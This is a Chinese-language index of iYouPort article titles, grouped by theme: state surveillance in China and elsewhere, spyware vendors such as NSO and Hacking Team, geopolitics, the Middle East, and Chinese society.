61. 数字殖民主义：帝国的演变 - iyouport
62. 数字殖民主义威胁全球南方国家 - iYouPort
63. 来自中国和美国的政府监视：7个危险的用例 - iyouport
64. 来自中国和美国的政府监视：7个危险的用例 - iYouPort
65. 死于自己制造的武器 - iYouPort
66. 气候政治：为什么旧的外交模式不再奏效 - iyouport
67. 沙特在中国援助下扩大了弹道导弹计划 - iYouPort
68. 泄漏文件揭露TikTok如何与美国警察合作维稳镇压 - iYouPort
69. 法西斯主义如何与资本主义融合以重新定义政府 - iyouport
70. 真正能打破墙的东西可能不是梯子：巴尔干化和互联网的未来 - iyouport
71. 硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重 - iYouPort
72. 硅谷巨头为中国军方服务，这事你怎么看 - iYouPort
73. 美国为什么会在间谍战中输给中国？ - iyouport
74. 美国人正在从中国的警察国家暴力中获利 - iYouPort
75. 美国公司如何帮助中国借助 DNA 数据追踪公民 - iyouport
76. 美国和中国在监视公民方面引领全球 - iyouport
77. 美国在阿富汗的战争不会结束，因为中国 … - iyouport
78. 美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词 - iyouport

79. 美国的选举为什么撕裂了华人群体：让我们避免使用“川粉”这个词 - iYouPort
80. 美国科技公司仍想与中国更多合作？ - iyouport
81. 美国科技巨头如何帮助中国建立大规模监视系统 - iYouPort
82. 美国老大哥锦标赛上的中国"状元" - iYouPort
83. 美国高端学者正在帮助中国当局追踪其公民 - iYouPort
84. 西方如何养肥了华为又"成就了"种族灭绝监视综合体？ - iYouPort
85. 视频：对爱德华·斯诺登的访谈，内容涉及硅谷审查、拜登和新闻自由的危险 - iyouport
86. 计算机和权力：失败主义是自由的敌人 - iYouPort
87. 诺姆·乔姆斯基（Noam Chomsky）：拜登的外交政策与特朗普在很大程度上没有区别 - iyouport
88. 走进暗杀之城 - iyouport
89. 超级战士：DARPA 想要制造精神控制的战争武器 - iyouport
90. 超越高堡奇人：在美中的帝国争霸之上 - iyouport
91. 跨大西洋数据交换的结束实际上提供了一个机会，如果美国想抓住它的话 - iyouport
92. 还是高堡奇人：中美 1984 在海湾的黑手 - iyouport
93. 这就是他们给我讲述世界末日的方式 - iyouport
94. 高堡奇人新剧情是什么？北斗 - iYouPort
95. 高堡奇人的美方剧本 - iYouPort
96. 高堡奇人的闹剧可能需要站在影院外面看 - iYouPort

2. 中国-半壁高堡奇人

    1. “入侵”加拿大 - iYouPort
    2. "整个系统旨在压制我们"：中国监视国家对世界意味着什么 - iYouPort
    3. “无盲点”中国老大哥的进军 - iYouPort
    4. "深夜上网"都会降低你的“社会信用评分”？无人能摆脱这种强制性监视 - iYouPort
    5. AI警卫：机器人专制[video] - iYouPort
    6. 一个新的战场：在联合国，中国利用威胁和哄骗来促进其世界观 - iYouPort

7. 中国：为什么要重启笨拙低效的斯塔西式群众斗群众？ - iYouPort
8. 中国5G：好莱坞大片的滑稽场景 - iYouPort
9. 中国公司正在联合国制定全球面部识别标准，这意味着什么？ - iyouport
10. 中国内部意外地寻求 "保护数据隐私" ，这意味着什么 - iYouPort
11. 中国在西藏构建了强悍的数字隔离墙 - iYouPort
12. 中国已经将智能手机武器化：这就是为什么您应该关注 - iyouport
13. 中国想要的世界 - iyouport
14. 中国政府强制安装监控应用程序 - iYouPort
15. 中国正在使用区块链技术监视其公民？ - iyouport
16. 中国正在向中东出口杀手机器人 - iYouPort
17. 中国的 “新疆模式” 如何借鉴美国、英国和以色列的平叛战略 - iyouport
18. 中国的全球影响力：防火墙之外的监视和审查 - iYouPort
19. 中国的反乌托邦进度 - iYouPort
20. 中国的审查制度如何引领了世界潮流？ - iYouPort
21. 中国的少数派报告技术又有了新发展 - iyouport
22. 中国的新 “密码法”如何终结了加密 - iyouport
23. 中国的步态识别监视正式铺设："受美国的启发" - iYouPort
24. 中国老大哥的笑话带来了什么样的启示？ - iYouPort
25. 中国迫使游客安装监视恶意软件 - iYouPort
26. 交出你的脸，否则不许乘坐地铁 - iYouPort
27. 侵入英国 - iYouPort
28. 六千万美元的猖狂 - iyouport
29. 冠状病毒使中国的监视状态脱颖而出 - iYouPort
30. 利润丰厚的在线删帖业务 - iYouPort
31. 北京的影响力阴影引发澳大利亚学者的自我审查 - iYouPort
32. 华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手 - iYouPort
33. 去全球化和中国的“纸老虎” - iyouport
34. 反诈中心应用程序危险在哪里？如何抵制？- 审计报告 - iyouport
35. 图解中国科技巨头 – 半壁“高堡奇人” - iyouport

36. 在中国：致富的捷径 - iYouPort
37. 在中国火爆的虚拟网红背后，是过度劳累的人类 - iyouport
38. 大外宣战略、审查和自我审查 - iYouPort
39. 局势：中国正在努力扩大与拉美的联系 - iYouPort
40. 当谈到数字威权主义时，中国是一个挑战，但不是唯一的挑战 - iyouport
41. 微信如何征服西藏？ - iYouPort
42. 微信对国际用户的监控增强了中国的审查制度 - iYouPort
43. 恶劣的“微妙”：审查在中国不完全关乎政治 - iYouPort
44. 意识形态恐吓工具 - iYouPort
45. 新法律正在帮助中国政府储备零日漏洞 - iyouport
46. 时局："一带一路" 最近发生了什么？ - iyouport
47. 武器化城市 - iYouPort
48. 澳大利亚总理如何变成了福建人？ - iYouPort
49. 监视操纵社会：中国尝试通过社会信用系统改变社会行为 - iYouPort
50. 离岸革命，在岸资本主义 - - 船舶与中国和世界不断变化的关系 - iyouport
51. 维族妇女对战中国的监视国家[videos] - iyouport
52. 美国老大哥锦标赛上的中国"状元" - iYouPort
53. 美籍华人移民何以成为微信错误信息的牺牲品？ - iYouPort
54. 老大哥已经到达你家门口 - iYouPort
55. 老大哥正在中国大发横财：估值最高的监视技术公司都在中国。但问题的根源是什么？ - iYouPort
56. 自2013年以来，由国家资助的中国黑客一直在瞄准东南亚 - iYouPort
57. 虚假地球 [video] - iYouPort
58. 跨国审查 - iYouPort
59. 阿根廷不只有足球，还有中国的中兴通讯 - iYouPort
60. 随着中国加强监视，在教堂中安装了面部识别和指纹扫描 - iYouPort

3. 协助暴政的家伙们

1. “任何目标，随时随地”：解密文件曝光NSA突击部

队的监视行动 - iyouport
2. “只管去做，别问问题”：走进以色列利润丰厚且秘密的网络监视行业内部 - iyouport
3. "这是分裂社会的一种方式"：两个反乌托邦城市的连接 - iYouPort
4. 10年，美国巨头帮助中国构建的反乌托邦地狱 - iYouPort
5. IBM和谷歌如何通过中国协助独裁政权的间谍行为？ - iyouport
6. Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切
7. 一个蓬勃发展的间谍技术市场 - iYouPort
8. 一秒钟追踪你的一切：”融合系统” 是什么东西？ - iyouport
9. 中国、美国、以色列，全球最强大的监视技术公司正在通过"赠送"设备以在拉丁美洲找到立足点 - iyouport
10. 人权的愤怒 - iYouPort
11. 俄式蜻蜓 - iYouPort
12. 公私监视伙伴关系：10个国家使用加拿大的互联网内容过滤技术压制异议 - iYouPort
13. 六千万美元的猖狂 - iyouport
14. 共谋侵犯人权，以保留进入中国以外最大的数字媒体用户市场的交易 - iyouport
15. 危害人类罪的惩治方案 - iYouPort
16. 国家级监视赞助商：这些政府如何协助其他政府对公民进行间谍活动？ - iYouPort
17. 大屠杀的幕后推手 - iyouport
18. 如此昂贵的以色列间谍软件居然能在非洲扎根：这7国政府做了什么 - iyouport
19. 数百万照片数据库秘密聚集在美欧以开发面部识别：中国享用了多少？ - iyouport
20. 步调一致为镇压 - iYouPort
21. 泄露文件：特朗普内幕人士希望向暴政出售社交媒体监视工具 - iYouPort
22. 法国向埃及出售监视社会技术和武力镇压工具已造成大面积死亡和抓捕的人权灾难 - iYouPort
23. 硅谷投资公司从监视国家中获利 - iYouPort
24. 纽约公民权利组织：美国公司正在向世界各地输出

面部识别，并从其在国内的使用中获利 - iyouport
25. 纽约公民权利组织：美国公司正在向世界各地输出面部识别，并从其在国内的使用中获利 - iYouPort
26. 美国技术公司如何帮助埃尔多安的暴政对土耳其公民实施间谍行为 - iYouPort
27. 美国科技公司主动自我审查迎合印度的新审查法 - iYouPort
28. 美国间谍帮助阿联酋侵犯人权一事提醒了什么 - iYouPort
29. 美国雇佣军为什么要帮助威权政府迫害异议人士？ - iYouPort
30. 英国帮凶 - iYouPort
31. 血族：美国人、IBM 和出口的数字警察国家 [video] - iYouPort
32. 装备独裁者 - iYouPort
33. 西方政府如何助长了数十年来最严重的人权危机 - iYouPort
34. 谁在作恶？ - iYouPort
35. 走进暗杀之城 - iyouport
36. 还是高堡奇人：中美 1984 在海湾的黑手 - iyouport
37. 这个富有的监视技术经销商浮出水面 …… 还有他那个900万美元WhatsApp骇客工具 - iYouPort
38. 这个恐怖的 iPhone 黑客工具居然来自美国公司…… - iyouport
39. 邪恶列表 — 您了解这些邪恶公司吗？ - iyouport
40. 间谍庇护者 - iYouPort

4. 地缘政治

1. “北京模式” - iYouPort
2. “反恐”如何变成了人权灾难？ - iYouPort
3. "手机就是我们的枪"：网络空间的真相之战 - iYouPort
4. *国家*的危险神话 - iYouPort
5. 16＋1：北京的外交主线使前苏联国家与布鲁塞尔发生冲撞 - iYouPort
6. 5G技术的隐秘军事用途 - iYouPort
7. 8年了，美国的盟友巴林政权依旧在追踪阿拉伯之春的抗议者 - iYouPort

8. BRI 正在延伸到一个要塞位置 - iYouPort
9. LR 美国、中国和俄罗斯：暗网最强大的民族国家骇客 - iyouport
10. Supermicro 电路板本身就 Bug 缠身，那么为什么(中国)攻击者还需要植入物呢？ - iyouport
11. Twitter 外交的嘴炮之掐 - iYouPort
12. 一个新的匿名组织 'Intrusion Truth' 揭露中国情报部门黑客的真实姓名 - iYouPort
13. 一个非常惊人的故事：为 CIA 工作过的俄罗斯人正在遭遇迫害，美国会在乎吗？ - iYouPort
14. 一周内两起供应链攻击：严重的状况已经不容小视 - iYouPort
15. 三四个寡头如何绑架了政府？ - iYouPort
16. 不流血的政变：军事工业综合体接管选举 - iYouPort
17. 两个数字告诉你为什么特朗普不会制裁沙特 - iYouPort
18. 中东君主制如何雇佣美国战士以杀死其政敌? —这大概就是战争未来的样子 - iYouPort
19. 中国人正在迅速离开美国房地产市场？ - iYouPort
20. 中国人的黑钱如何进入了美国政治系统？ - iyouport
21. 中国会以什么姿势介入叙利亚混战？ — — 最新局势评测 - iYouPort
22. 中国在巴基斯坦的“一带一路”计划已经走向了军事化 - iYouPort
23. 中国在香港的剧本也在亚太地区上演 - iYouPort
24. 中国症候群：当3Com遇到华为 - iyouport
25. 中国的技术帝国如何重塑全球经济 - iYouPort
26. 中国的漏洞利用：为什么政策忽然变化？ - iYouPort
27. 中国的秘密军事基地 - iYouPort
28. 中式军国主义？ - iYouPort
29. 为什么年轻的巴基斯坦人努力学习中文？而不是英语…… - iYouPort
30. 主题不是军事 - iYouPort
31. 乔治拜登的儿子投资中国'老大哥'监视技术 - iYouPort
32. 习近平的无限任期对非洲意味着什么？ - iYouPort
33. 什么是 SS7，据称中国正用它来窥探特朗普的手

机？ - iyouport
34. 从抢面包到推翻政权 - iYouPort
35. 从斯诺登到中国 … - iyouport
36. 以“开会”为名实施侵入性监视，右转的东欧如何形同中国？ - iYouPort
37. 以蟋蟀为‘武器’？ - iYouPort
38. 以谣言为武器？ - iYouPort
39. 企业媒体称中国利用微型芯片渗透美国公司，他们是怎么做到的？ - iYouPort
40. 伊朗击落的无人机是一个价值2.2亿美元的监视怪兽 - iYouPort
41. 你的人权记录并不重要 - iYouPort
42. 你觉得一个国家可以自由地出售公民身份吗？ - iYouPort
43. 俄罗斯和中国在全球疫苗竞赛中雇佣了国家资助的媒体和外交Twitter帐户 - iyouport
44. 北京的影响力阴影引发澳大利亚学者的自我审查 - iYouPort
45. 华为之战的虚伪：技术的巴尔干化 - iyouport
46. 厄瓜多尔民主的缓慢扼杀 - iYouPort
47. 口罩的政治 - iyouport
48. 合法杀戮的前提是什么？ - iYouPort
49. 合理的玩世不恭 - iYouPort
50. 哪些欧洲政治家已经陷入了北京的轨道？中国是如何在欧洲扩张的？ - iYouPort
51. 塑料如何成为殖民主义的一个功能 - iYouPort
52. 大国如何瓦解 - iYouPort
53. 如何摧毁俄罗斯？ - iYouPort
54. 如果中国制定了规则……习近平的世界秩序：2024 年 7 月 - iYouPort
55. 如果中国取代了美国在中东的霸权，结果是什么？ - iYouPort
56. 对朝鲜的制裁失败了吗？ - iYouPort
57. 尴尬的错误 - iYouPort
58. 帝国重现 - iYouPort
59. 心口不一 - iYouPort
60. 战争游戏：如果中国或俄罗斯击落ISR飞机，美国将如何做出回应？ - iYouPort
61. 战争罪的幕后推手 - iYouPort
62. 战术间谍装备是什么？ - iYouPort

63. 指南：如何活在普京时代的俄罗斯 - iYouPort
64. 政治自我伤害的症状：特朗普与英国退欧有着共同的混乱 - iYouPort
65. 数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极 - iYouPort
66. 数字连接已将"社会工厂"变成了全球战场 - iYouPort
67. 文化民族主义 - iYouPort
68. 新殖民：横扫巴尔干 - iYouPort
69. 新第三帝国 - iYouPort
70. 无知不是幸福 - iYouPort
71. 普京的秘密服务：克里姆林宫如何控制 FSB — — 俄罗斯情报机构联邦安全局 - iYouPort
72. 有目的的军售？ - iYouPort
73. 朝鲜“改开”的新面目：监视设备的兴起及生活状况的变化（多图） - iYouPort
74. 朝鲜的"文化革命" - iYouPort
75. 杀人狂的盛宴 - iYouPort
76. 杀手：以色列精英军队 - iYouPort
77. 杀死华盛顿邮报记者 Jamal Khashoggi 的杀手在美国接受的培训 - iYouPort
78. 标签中的政治宣传 - iyouport
79. 核武器和网络攻击究竟哪个更可怕？ - iYouPort
80. 梵蒂冈的惨痛失败 - iYouPort
81. 欧盟国家遭受俄罗斯和中国的网络攻击 - iYouPort
82. 气候变化引发政治动荡 ？— — 热浪和干旱与古代帝王命运之间的联系为现代提出了警告 - iYouPort
83. 沙特在中国援助下扩大了弹道导弹计划 - iYouPort
84. 没有美国的五眼联盟，被保密了近50年，今天依然活跃 - iYouPort
85. 沾满鲜血的地缘政治游戏 - iYouPort
86. 流氓护驾的选举 - iYouPort
87. 潘多拉的轰炸 - iYouPort
88. 熟悉的谎言 - iYouPort
89. 用媒体作为监视工具？ - iYouPort
90. 疫苗的民族主义权力游戏只会毁掉一切 - iyouport
91. 看看谁的立场明确，谁在飘忽 - iYouPort
92. 窃取欧盟 - iYouPort
93. 维稳能力升级 - iYouPort
94. 美国为什么要支持暴政并造就成千上万的难民？ -

iYouPort
95. 美国会迎来一位台湾裔的总统吗？ - iYouPort
96. 美国公关公司为以色列间谍软件巨头服务 - iYouPort
97. 美国正在打击对"外国VPN"的使用，为什么又和中国一样？ - iYouPort
98. 美国精英协助全球寡头推动俄罗斯式腐败 - iYouPort
99. 美国间谍、和匿名真相 - iYouPort
100. 美国雇佣军为什么要帮助威权政府迫害异议人士？ - iYouPort
101. 美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport
102. 老布什不是你认识的那个人 - iYouPort
103. 联合特工学校缘何意味深长？ - iYouPort
104. 英国正在加入一带一路；是什么让英国如此“虚弱”？ - iYouPort
105. 虚假地球 [video] - iYouPort
106. 血族的逻辑 - iYouPort
107. 被政治化的血腥冲突 - iYouPort
108. 装备独裁者 - iYouPort
109. 诺姆·乔姆斯基（Noam Chomsky）：拜登的外交政策与特朗普在很大程度上没有区别 - iyouport
110. 谁是杀手 - iYouPort
111. 走向灾难的捷径 - iYouPort
112. 还记得轰动一时的"中国的间谍芯片"吗？ - iYouPort
113. 这个技术将可以快速地发现秘密的“中国微芯片” — — 检测技术已出 - iYouPort
114. 这些独裁者一直在获得国际大奖，粉饰他们侵犯人权的行为 - iyouport
115. 通向罗马的歧途 - BRI - iYouPort
116. 通过最新曝光的谎言体验主流媒体的政治宣传 - iYouPort
117. 金榜不要脸 - iYouPort
118. 金融武器 - iYouPort
119. 金钱如何变成了一种病毒？ - iYouPort
120. 钓鱼留学生的背后 - iYouPort
121. 镶金带银的太极黑沙掌 — — 下一场来自帝国的威胁或许只是没有血腥 - iYouPort

122. 间谍演义地缘政治 - iYouPort
123. 阴谋论状元 - iYouPort
124. 隐形政府：走进间谍的世界 - iYouPort
125. 雄厚的财力，深藏不露：美国间谍如何协助专制国家构建一个间谍帝国 - iyouport
126. 马来西亚变卦了还要依赖中国？ - iYouPort
127. 鬼魅缠身 BRI - iYouPort

5. 中东和北非

1. ISIS 简史 - iYouPort
2. 下一张多米诺骨牌 - iYouPort
3. 与伊斯兰国的斗争正在向非洲转移，军事干预不是解决方案？ - iYouPort
4. 中国会以什么姿势介入叙利亚混战？ — — 最新局势评测 - iYouPort
5. 中国如何在不发射子弹的情况下 “赢得” 中东 - iyouport
6. 为什么是塔利班赢了？：以阿富汗为镜，全球背景下的塔利班胜利 - iyouport
7. 伊斯兰国在印度建立了一个"省" - iYouPort
8. 停战任重道远，叙利亚的未来在哪里？ - iYouPort
9. 北约盟友与ISIS"共同利益"[video] - iYouPort
10. 华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手 - iYouPort
11. 反对派和巴沙尔政府干着同样的勾当——叙利亚：恐怖主义犯罪 - iYouPort
12. 叙利亚：英美法的行动遭到各方面抨击，这场战争究竟是什么 - iYouPort
13. 叙利亚冲突中的各方及其国际支持者对平民生活表现出骇人的蔑视 - iYouPort
14. 叙利亚战争中没有人是无辜的，除了平民 - iYouPort
15. 在死神的肆虐中捡起被丢弃的故事 —— “我们的家园，我们自己的反抗” - iYouPort
16. 在沙漠中断水意味着什么 —— 惊人报告揭露恶行 - iYouPort
17. 如果中国取代了美国在中东的霸权，结果是什么？ - iYouPort
18. 少年杀手 - iYouPort

19. 恐怖主义无关宗教 正相反是对信仰的威胁 - iYouPort
20. 战胜暴君 - iYouPort
21. 把摩苏尔变成废墟的人不会帮它重建 —— 他们声称的“精准打击”究竟是什么？ - iYouPort
22. 政治暴力的价格 - iYouPort
23. 数字威权主义的崛起：特朗普的鼓舞和美国盟友的积极 - iYouPort
24. 无效的“反恐” - iYouPort
25. 暗度陈仓 - iYouPort
26. 暴涨的种族冲突和身份证明的魔咒 - iYouPort
27. 有目的的军售？ - iYouPort
28. 移民潮如何养肥了“伊斯兰国” — — AQIM模式的恐怖主义犯罪正在扩张 - iYouPort
29. 纠结的谈判 - iYouPort
30. 联合国：亲政府部队比武装团体杀死了更多的平民 - iYouPort
31. 血族的逻辑 - iYouPort
32. 试图令阿萨德下台的不是美国，而是2011年参加抗议的叙利亚人民 - iYouPort

6. 作恶者：谁在帮中国

1. 10年，美国巨头帮助中国构建的反乌托邦地狱 - iYouPort
2. IBM和谷歌如何通过中国协助独裁政权的间谍行为？ - iyouport
3. LinkedIn 正在帮助中国政府对批评者噤声 - iYouPort
4. 一臂之厉：美国企业正在帮助建立中国的奥威尔国家 - iyouport
5. 中国AI巨头让监视如此容易 - iYouPort
6. 中国的互联网维稳产业：谁将成为唯一的失败者？ - iYouPort
7. 中国的反乌托邦监视国家是美国制造的 - iyouport
8. 中国的反乌托邦监视国家是美国制造的 - iYouPort
9. 中国面部识别巨人崛起的背后 - iYouPort
10. 为什么这家美国公司努力帮助中国的监控社会？ - iYouPort
11. 乔治拜登的儿子投资中国'老大哥'监视技术 -

iYouPort
12. 从大规模监控到种族压迫、从拦截上访到广电总局：美国巨头如何壮大了中国的反乌托邦维稳系统 - iyouport
13. 别让你的孩子深陷1984 - iYouPort
14. 又一家美国公司愿意支持中国政府的审查制度，然后呢？ - iyouport
15. 哪家公司正在帮助建立中国的圆形监狱？ - iYouPort
16. 彭博为献媚中国不惜余力 - iyouport
17. 技术超级碗CES正在帮助中国监视公司清理形象 - iyouport
18. 数百万照片数据库秘密聚集在美欧以开发面部识别：中国享用了多少？ - iyouport
19. 是谁在中国政府的监视社会计划中大发横财？ - iYouPort
20. 是谁在提供先进的监控技术协助压迫性政府对人权的侵犯？ - iYouPort
21. 欧洲对面部识别和其他中国技术的兴趣正在填补美国缺席的深圳展会 - iyouport
22. 泄漏文件证实：有更多的美国科技巨头支援中国庞大的监视国家 - iYouPort
23. 澳大利亚正在如何帮助中国构建监视国家 - iYouPort
24. 看看谁的立场明确，谁在飘忽 - iYouPort
25. 硅谷争夺中国：西方科技寡头在东方圆形监狱的投建中举足轻重 - iYouPort
26. 硅谷巨头为中国军方服务，这事你怎么看 - iYouPort
27. 美国公司如何帮助中国借助 DNA 数据追踪公民 - iyouport
28. 美国技术正用于中国的大规模监视 - iYouPort
29. 美国科技巨头如何帮助中国建立大规模监视系统 - iYouPort
30. 美国高端学者正在帮助中国当局追踪其公民 - iYouPort
31. 西方如何养肥了华为又"成就了"种族灭绝监视综合体？ - iYouPort
32. 西方学术界帮助构建了中国的自动化种族主义 - iYouPort

33. 谁在帮中国 - iYouPort

7. 以色列和NSO-间谍产业的领主

1. “间谍软件把我的生活变成了地狱”：遭受Pegasus的人权活动家说 - iyouport
2. LR 以色列 NSO 生产的间谍软件 Pegasus 在45个国家被用于监视和攻击异议人士及活动家 — ⚠ 亚洲有香港
3. 一个新的战争时代：互联网雇佣军如何为威权政府而战 - iyouport
4. 一个蓬勃发展的间谍技术市场 - iYouPort
5. 一场令人不寒而栗的网络战 - iyouport
6. 两个数字告诉你为什么特朗普不会制裁沙特 - iYouPort
7. 以色列创业公司筹集了1250万美元，让政府可以破解物联网 - iYouPort
8. 以色列国如何作为全球暴政的幕后黑手：新书《巴勒斯坦实验场》 - iyouport
9. 以色列的新技术如何彻底改变监视？ - iyouport
10. 以色列的监视技术出口为什么不同？ - iyouport
11. 以色列间谍软件公司出售监视技术和知识在130个国家针对记者、异议和LGBT人群 - iyouport
12. 如此昂贵的以色列间谍软件居然能在非洲扎根：这7国政府做了什么 - iyouport
13. 当你被一枚井盖诱捕…… - iYouPort
14. 无论在任何地方，民权活动人士都在受到监视 - iyouport
15. 有关以色列恶意软件开发商 NSO 集团的更多丑闻已浮出水面 - iYouPort
16. 杀手：以色列精英军队 - iYouPort
17. 流亡也没有安全 - iYouPort
18. 真实的噩梦 - iyouport
19. 美国公关公司为以色列间谍软件巨头服务 - iYouPort
20. 被残害的记者 Khashoggi 的沙特朋友起诉以色列监视技术公司 - iYouPort
21. 这个富有的监视技术经销商浮出水面 …… 还有他那个900万美元WhatsApp骇客工具 - iYouPort
22. 这个恐怖的 iPhone 黑客工具居然来自美国公

司…… - iyouport
23. 金榜不要脸 - iYouPort

8. Hackingteam

1. Wikileaks：异议记者遇害案嫌犯之一曾接受 Hacking Team 间谍软件培训; 与沙特王储关系密切
2. 危险：监控技术公司正在推动对零日漏洞的利用 - iYouPort
3. 开源调查揭示肢解华盛顿邮报专栏作家的凶手 - iyouport
4. 独立记者在昂贵的铡刀之下 - iYouPort
5. 监视区块链 - iyouport
6. 美国黑客团队和阿联酋间谍合作计划攻击报道斯诺登文件的媒体机构 TheIntercept - iyouport

9. 关于中国社会

1. “入侵”加拿大 - iYouPort
2. “我要我的血汗钱”：全球资本主义的算法暴政在中国 - iyouport
3. "抵制面部识别"：中国教授起诉野生动物园 - iYouPort
4. *国家*的危险神话 - iYouPort
5. AI警卫：机器人专制[video] - iYouPort
6. In China: The Other Side of Content Startups ✍ - iYouPort
7. Mr.Statelessness? 夹缝中的美国华裔和中国移民爱好者 - iYouPort
8. Six Fragments Sketch The Dark Side Of ‘Chinese Media Workers’ - iYouPort
9. Why Chinese society looks 'silly' - iYouPort
10. Why do we want to emphasize the distinction between the "Beijing regime" and the "Chinese people?" 为什么我们要强调区分“北京政权”和“中国人” - iYouPort
11. Why Is It So Hard to Get Organized? - iYouPort
12. 中国5G：好莱坞大片的滑稽场景 - iYouPort
13. 中国人什么都知道 - iYouPort
14. 中国人如何在美国骗取政治庇护？ —— 严打已开

启，接下来会发生什么？ - iYouPort
15. 中国人已经胖成了美国人，但问题是什么？ - iYouPort
16. 中国人正在迅速离开美国房地产市场？ - iYouPort
17. 中国在香港的剧本也在亚太地区上演 - iYouPort
18. 中国式的反乌托邦在西方 - iyouport
19. 中国户籍制度的变化正在创造新的鸿沟 - iYouPort
20. 中国拥有可疑的"情感识别"技术不断增长的市场 - iYouPort
21. 中国推出”超级监控摄像机”辅助社会信用评分 - iyouport
22. 中国政府已攀上景观政治的边缘 - iYouPort
23. 中国的互联网维稳产业：谁将成为唯一的失败者？ - iYouPort
24. 中国的反间谍活动要求加强对外国人的监视 - iyouport
25. 中国的无神论执政党正在鼓励民间宗教，为什么？ - iYouPort
26. 中国的监视技术对朝鲜难民构成威胁 - iYouPort
27. 中国迫使游客安装监视恶意软件 - iYouPort
28. 中式军国主义？ - iYouPort
29. 中美为敌是假相，（中国）异议和（西方）反抗者南辕北辙才是真的 - iYouPort
30. 为什么中国尚且不是 "常规" 的资本主义？ - iYouPort
31. 为什么中国社会看起来很“傻” - iYouPort
32. 为什么中国社会难以组织起来 - iYouPort
33. 为什么我们互不信任？ - iyouport
34. 为什么是俄罗斯封锁 Telegram 引发连日刷屏而不是中国的大面积封锁和监控？ - iYouPort
35. 为什么说中国是资本主义国家 - iYouPort
36. 习的民粹主义背后是日益加剧的社会不平等 - iyouport
37. 人口问题可能是中国经济面临的最大挑战 - iYouPort
38. 什么是高峰冷漠？从白宫到微信 - iyouport
39. 从萌芽到破碎：中国劳工非政府组织的未来是什么 - iyouport
40. 他们为什么如此猖狂？因为你们互不信任 - iYouPort

41. 冷漠的阳谋 - iYouPort
42. 利润丰厚的在线删帖业务 - iYouPort
43. 北京的呼唤：中国地下摇滚的怀疑、希望和反抗 - iyouport
44. 后社会主义中国左翼组织的新方向 - iyouport
45. 图解中国科技巨头 – 半壁“高堡奇人” - iyouport
46. 在中国：TA为什么不使用微信？ - iYouPort
47. 在中国：为什么他们伪造国企身份？ - iYouPort
48. 在中国：为什么经历文革十年的那代人至今“执迷不悟”？ - iYouPort
49. 在中国：互联网上的政治为何如此局限（上） - iYouPort
50. 在中国：他们如何正在瞄准老人 - iYouPort
51. 在中国：保护数据隐私的新呼吁 - iYouPort
52. 在中国：六个片段勾画“媒体人”的侧面 - iYouPort
53. 在中国：内容创业者的背面 - iYouPort
54. 在中国：意识形态的爆炸点 - iyouport
55. 在中国：火爆的信息倒卖市场和概念错位 - iYouPort
56. 在中国做生意的第一课 - iYouPort
57. 大崩溃 - - 从中国的恒大地产开始 - iyouport
58. 如果全网封锁周小平？一个舆论热点或许能帮助中国社会更深层理解审查 - iYouPort
59. 宣传闪电战 - iYouPort
60. 家长阻止学校在学生头上安装电磁装置以收集脑波数据 - iYouPort
61. 对中国的三个”基本误解” - iyouport
62. 当共产主义者镇压国际工人运动：八九天安门广场的工人斗争是从一个世界到另一个世界的过渡 - iyouport
63. 意识形态恐吓工具 - iYouPort
64. 技术改变了中国人生活本身的质感，但是呢… - iyouport
65. 抖音如何打开了进入中国警察国家的窗口 - iYouPort
66. 护照和长期签证的丑闻市场正在蓬勃发展 - iYouPort
67. 政府监视公民一举一动，公民无动于衷-China - iYouPort
68. 新文件表明，中国政府资助了基因编辑婴儿实验 -

iYouPort
69. 新第三帝国 - iYouPort
70. 新自由主义的香港向世界讲述了一个什么样的故事？ - iYouPort
71. 无处安放的“精神脱支”梦，“流行”的悖论和自杀式悲观 - iYouPort
72. 是谁在操纵维基百科？ - iYouPort
73. 景观政治 - iYouPort
74. 来稿：从徐州丰县到北京奥运，问错了问题，比找不到答案，更糟糕 - 献给2022情人节 - iyouport
75. 沉默的佩奇：面对流行疫情中国人为什么不反抗 - iYouPort
76. 泄露：中国庞大的警察数据库 - iYouPort
77. 澳大利亚总理如何变成了福建人？ - iYouPort
78. 点击农场是什么？一个阴暗的互联网行业仍在中国蓬勃发展 - iYouPort
79. 独家：北京的政治宣传模式发生改变，或正对冲中国异议的弱点 - iYouPort
80. 疯狂的杭州猪[video] - iYouPort
81. 神秘用户以中国青睐的方式重新编辑了全球开源地图 - iyouport
82. 终止中国在新疆的大规模拘留的法令 - iYouPort
83. 维族妇女对战中国的监视国家[videos] - iyouport
84. 胡萝卜：中国当局大举奖励最顺从的公民 - iYouPort
85. 茶杯里的风暴：殖民贸易及印度和中国的资本主义起源 - iYouPort
86. 逃避老大哥的眼睛：中国艺术家在行动 - iYouPort
87. 隐私意识、中国人的态度和通往民主的路障 - iyouport
88. 雪崩将至？ - iYouPort

10. 故事

1. Chinese horror story E1: Just forget it - iYouPort
2. Chinese horror story E1：就这么算了 - iYouPort
3. Chinese horror story E2: The story of my life - iYouPort
4. Chinese horror story E2: 我一生的故事 - iYouPort
5. Chinese horror story E3: "Just do it" - iYouPort

6. Chinese horror story E3: “去做就对了” - iYouPort
7. Chinese horror story E4: Icarus - iYouPort
8. Chinese horror story E4: 伊卡洛斯 - iYouPort
9. Chinese horror story E5：幽灵 - iYouPort
10. Chinese horror story E6：鼻病毒 - iYouPort
11. Chinese horror story E7：死亡马拉松 - iYouPort
12. Escape from China - iYouPort
13. 当一个陌生人想要毁掉你的生活……来自社交媒体时代特有的威胁 - iyouport
14. 绿色兔子（科幻故事） - iYouPort
15. 逃离中国 - iYouPort

11. 作恶者：中国在帮谁

1. “人工智能”的中国军事 - iyouport
2. 🔭 中国版老大哥的世界之旅 - iYouPort
3. 中国、迪拜和意大利的警察正在使用这些监视偷窥扫描路径的任何人 - iyouport
4. 中国参与制作耶路撒冷旧城的“老大哥” - iYouPort
5. 中国向60多个国家出口AI监控技术 - iYouPort
6. 中国对厄瓜多尔做了什么？ - iYouPort
7. 中国的中兴如何帮助委内瑞拉创造中国式的监控社会 - iYouPort
8. 中国老大哥盯上拉美人 - iYouPort
9. 华为使用以色列间谍软件监视北京支持的非洲领导人的政治对手 - iYouPort
10. 华为如何把德国城市变成圆形监狱 - iYouPort
11. 步调一致为镇压 - iYouPort
